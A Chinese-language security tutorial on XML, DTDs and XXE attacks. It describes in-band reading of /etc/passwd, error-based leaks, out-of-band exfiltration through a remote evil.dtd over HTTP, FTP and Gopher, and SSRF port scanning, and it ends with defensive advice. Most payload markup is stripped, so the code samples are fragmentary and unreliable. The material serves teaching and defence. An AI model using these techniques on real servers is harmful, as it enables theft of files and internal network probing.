XML简介
本节内容结合了《Web hacking 101》,链接在本文末尾，此书不错，基于hackerone上的案例编写的。
稍微完善了下本节内容，去起来更为通顺。
元语言是用于描述其它语言的语言，这就是 XML。XML没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签，来描述展示的内容。
一个有效的 XML 文档之所以有效，是因为它遵循了 XML 的通用规则，并且它匹配了它的文档类型定义（DTD全称 document type definition）。
XML DTD就像是所使用的标签的定义文档，并且由 XML 设计者或作者开发。DTD 定义了存在什么标签，它们拥有什么属性，以及其它元素里面有什么元素等等。
基本语法
下面是 DTD 文件的样子：
XML 文档并不包含标签定义，但可以将 DTD 包含在 XML 文档内。XML的第一行必须是元素。
组合起来如下：
]>
Hacker
1000000
Shot the web
上面是文档内部DTD的示例。
如果DTD内容太多，全部写入到xml中势必会占用非常大的空间。所以就有了引用外部DTD的存在，而且这样对引用资源所做的任何更改都会在文档中自动更新，非常方便。
外部DTD又分为两类：
- 当引用的DTD文件是本地文件的时候，用
SYSTEM标识，并写上”DTD的文件路径”，如下： - 如果引用的DTD文件是一个公共的文件时，采用
PUBLIC标识，
这里略去一堆关于DTD元素的知识点……链接
XML ENTITY(实体)像是一个信息的占位符(变量)。使用!ENTITY可以定义一个实体，让解析器在解析时获取内容并插入到文档中。实体又分为两类：
- 引用实体，主要在XML文档中被应用，格式
，引用方式：&实体名称;末尾要带上分号，这个引用将直接转变成实体内容。 - 参数实体，被DTD文件自身使用 ，格式
，引用方式为：%实体名称。
...
]>
Hacker
1000000
Shot the web
&url;
添加了Website的!ELEMENT(元素)，而且属性是ANY，这意味着Website可以包含任何可解析的数据组合。
定义了一个!ENTITY，带有SYSTEM类型说明是外部实体，告诉解析器获取website.txt文件的数据。如果在这里把website.txt换成file:///etc/passwd的话……
在XML的解析中包含外部实体时，XXE 攻击就发生了。因为解析器只管解析，而不管这个解析是不是恶意的。
常见攻击方式
有回显的情况下
试验代码
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
这里定义了一个xxe对象，然后在description节点引用。
]>
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
服务器会返回以下结果
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
但是如果要读取的文件内容有<> &，被解析器解析出错了怎么办，可以使用不让其进行解析。
">
]>
注意这里声明的另一种方式% 变量(有空格)，该方式只能在DTD中进行变量引用%变量，而不能在XML中引用。
改为引用远程服务器上的DTD
">
%dtd;
]>
evil.dtd
另外一种方法，利用报错
将含有参数实体的数据传递到另一个文件实体中，以便在访问第二个文件时触发文件未找到的异常，并且将第一个文件的内容作为第二个文件的名字，这样的话，就成功出发了文件未找到异常，也完全返回了第一个文件的内容。
提交
%one; %two; %four;
]>
evil.dtd
">
不能回显的时候
渗出（外带）利用——将数据主动带出去
并且固定远程DTD地址，就无需频繁修改payload，只需修改DTD内容即可实现不同的攻击。
基于URL的OOB数据泄露只能泄露一行文件内容(因为CRLF会分割URL)。
在java中，http只能读取单行文件。使用ftp 进行 oob 时对版本有限制， <7u141 和 <8u162 才可以读取整个文件。 https://www.leadroyal.cn/?p=914
其他语言尚未测试。
注意：不能直接在参数实体的定义中引用参数实体
http协议
服务端测试代码
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
xxe_file.dtd
">
%all;
远程服务器用nc监听即可看到请求（图略）
但是我还看到另外一种payload
post
%remote;%int;%send;
]>
evil.dtd，注意这里的% send，%实体转义了。
">
Java Problems (<1.7)
post
%remote; %intern; %trick; ]>
evil.dtd
">
http日志会显示GET /?bin%0Aboot%0Adev%0Aetc.... 但是上面两种利用方式，在java中无法正常利用：虽然能获取到dtd文件，但是却没有发送数据。
https://www.tr0y.wang/2019/05/03/XXE%E6%8C%87%E5%8C%97/index.html
因为这是将 payload 执行的结果直接嵌入到 DTD 里去了，我们没法保证 payload 的结果的格式满足 DTD 的要求，所以可能会导致程序报错。
ftp协议
post
%asd;%c;]>
&rrr;
evil.dtd
">
Gopher
https://bugzilla.redhat.com/show_bug.cgi?id=865541#c0
Oracle JDK版本中删除了对gopher方案的支持，后来又支持的最后一个版本是1.7 update 7 和 1.6 update 35（7u9和6u35）。实测6u45已无法使用gopher协议。
post
%dtd;]>
evil.dtd
">
%all;
端口扫描
如下，服务器会向本机的8080端口发起访问，攻击者根据响应时间判断是否开放端口。SSRF。
]>
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
还可以看看这个链接，利用XXE进行SSRF的实例 https://xz.aliyun.com/t/3357
防御方式
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。因此要去校验DTD(document type definition)中SYSTEM标识符定义的数据，并不容易，也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此，最好的解决办法就是配置XML处理器去使用本地静态的DTD，不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false，XML外部实体攻击就能够被阻止。因此，可将外部实体、参数实体和内联DTD 都被设置为false，从而避免基于XXE漏洞的攻击。
各编程语言都有禁用外部实体的代码。上面的链接已经有PHP JAVA Python的，
我这里补充个.NET的链接：https://blog.csdn.net/starfd/article/details/80936787
JAVA常见xml库的修复方式：https://blog.spoock.com/2018/10/23/java-xxe/
参考：
https://wizardforcel.gitbooks.io/web-hacking-101/content/14.html
http://blog.0kami.cn/2016/06/28/old-xxe/